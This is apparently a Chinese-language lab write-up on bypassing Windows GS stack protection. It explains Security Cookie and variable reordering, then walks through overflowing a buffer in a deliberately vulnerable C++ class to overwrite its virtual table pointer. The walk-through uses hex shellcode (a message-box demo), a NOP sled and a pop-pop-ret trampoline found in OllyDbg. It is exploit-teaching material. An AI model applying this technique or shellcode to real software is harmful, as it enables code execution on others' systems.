7.1 覆盖虚函数突破GS
目錄
一、GS安全編譯選項的保護原理
?1、Security Cookie
?2、變量重排
二、實驗環境
三、實驗代碼
四、實驗步驟
一、GS安全編譯選項的保護原理
?1、Security Cookie
??????? GS編譯選項為每個函數調用增加了一些額外的數據和操作,用以檢測棧中的溢出:
- 在所有函數調用發生時,向棧幀內壓入一個額外的隨機DWORD,這個隨機數被稱為“cannary”,但如果使用IDA反匯編的話,IDA會將這個隨機數標注為“Security Cookie”;
- Security Cookie位于EBP之前,系統還將在.data的內存區域存放一個Security Cookie的副本;
- 在棧中發生溢出時,Security Cookie將會被首先淹沒,之后才是EBP和返回地址;
- 在函數返回之前,系統將執行一個額外的安全驗證操作,被稱為Security Check;
- 在Security Check的過程中,系統將會比較棧中原來存放的Security Cookie和.data中副本的值,如果兩者不吻合,說明棧幀中的Security Cookie已被破壞,即棧中發生了溢出。
- 當檢測到棧中發生溢出時,系統將進入異常處理流程,函數不會被正常返回,ret指令不會得到執行。
??????? GS保護機制下的內存布局如圖所示:
???????? 并不是對所有的調用函數都使用GS,以下情況將不會使用GS:
- 函數不包含緩沖區;
- 函數被定義為具有參數變量列表;
- 函數使用無保護的關鍵字標記;
- 函數在第一個語句中包含內嵌匯編代碼;
- 緩沖區不是8字節類型且大小不大于4字節。
??????? Security Cookie產生的細節:
- 系統以.data節的第一個雙字作為Cookie的種子,或稱為原始Cookie(所有函數的Cookie都用這個DWORD生成);
- 在程序每次運行時Cookie的種子都不同,因此種子具有很強的隨機性;
- 在棧幀初始化以后系統用ESP異或種子,作為當前函數的Cookie,以此作為不同函數之間的區別,增加了cookie的隨機性;
- 在函數返回前,用ESP還原出(異或)Cookie的種子。
?2、變量重排
??????? GS除了在返回地址前添加Security Cookie,在編譯時根據局部變量的類型對變量在棧幀中的位置進行調整。 下圖是標準棧與GS保護棧的對比:
????????回顧GS機制,程序只有在函數返回時才會檢查Security Cookie,那么只要我們在函數返回劫持程序,就有可能實現對程序的溢出。
二、實驗環境
??????? 操作系統:windows xp sp2
????????軟件版本:VS2008(GS、release)、原版OD(實時調試)
三、實驗代碼
#include "stdafx.h" #include "string.h"class GSVirtual { public :void gsv(char * src){char buf[200];strcpy(buf, src);bar(); // virtual function call}virtual void bar(){} }; int main() {__asm int 3GSVirtual test;test.gsv("\x25\xF9\x98\x7C"//不同的機器,地址不一樣"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\0"/*"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\0"*/);return 0; }??????? 代碼解釋及實驗思路:
????????(1)類GSVirtual中的gsv函數存在典型的溢出漏洞;
????????(2)類GSVirtual中包含一個虛函數vir;
??????? (3)當gsv函數中的buf變量發生溢出的時候可能會影響到,如果我們可以修改虛函數表的地址,將其指向我們可以控制的內存空間,就可以在程序調用虛函數時控制程序流程。
四、實驗步驟
????????確保緩沖區安全檢查開啟,也就是在函數返回時會判斷security cookie是否被修改,以此判斷是否出現緩沖區溢出。
????????使用如下代碼判斷:要想修改虛表指針的值,還需填充多少個字節的數據。
#include "stdafx.h" #include "string.h"class GSVirtual { public :void gsv(char * src){char buf[200];strcpy(buf, src);bar(); // virtual function call}virtual void bar(){} }; int main() {__asm int 3GSVirtual test;test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\0");return 0; }???????
????????執行strcpy操作;?
???????? 執行完strcpy操作,查看內存分布,可以發現:要想在strcpy沒結束之前修改虛函數表的地址,還差20字節。
???????? 將虛函數表地址修改為原始shellcode的地址,那么在程序在調用虛函數的時候,虛函數指針將會找到shellcode處。現在要做的就是讓EIP寄存器指向0x00402100(內存中shellcode的起始地址)或者指向0x12FE9C(棧中shellcode的起始地址),此處需要使用跳板技術!
??????? 程序執行到CALL指令,發現沒有哪個寄存器保存有0x00402100或者0x0012FE9C的值,因此使用jmp將無法達到目的。
????????發現:棧區0x0012FE8C是指向棧區的shellcode,因此我們可以使用pop.pop.return指令來使得EIP指向0x0012FE9C,從而指向shellcode。
??????? 注:為什么要兩個pop?
??????? 因為調用call時,棧區會保存返回地址,那么0x0012FE8C將距離棧頂8字節,emm,所以需要在return(也就是EIP指向棧頂地址)時,需要pop處8字節的數據。
???????? 如何找pop.pop.return地址呢?需要用到OllyUni.dll插件。
????????之后,在日志里面找相關地址。
??????? 這個地址需要寫成第一個pop的地址,不然,你直接就是return了,EIP會指向之前CALL的返回地址。
????????需要注意的是:當EIP指向0x0012FE8C時,你找的pop.pop.return的地址將會被解析成指令,這里就會出現解析出來的指令執行不了的問題,因此,如果執行不了,你得多找幾次。
???????? 上述完成后,同樣使用彈框failwest作為核心shellcode。
#include "stdafx.h" #include "string.h"class GSVirtual { public :void gsv(char * src){char buf[200];strcpy(buf, src);bar(); // virtual function call}virtual void bar(){} }; int main() {//__asm int 3GSVirtual test;test.gsv("\x25\xF9\x98\x7C"//不同的機器,地址不一樣"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\0");return 0; }?
?
?
總結
以上是生活随笔為你收集整理的7.1 覆盖虚函数突破GS的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: VIP邮箱容量在哪儿看?怎么查看邮箱多大
- 下一篇: navicat 连接oracle的配置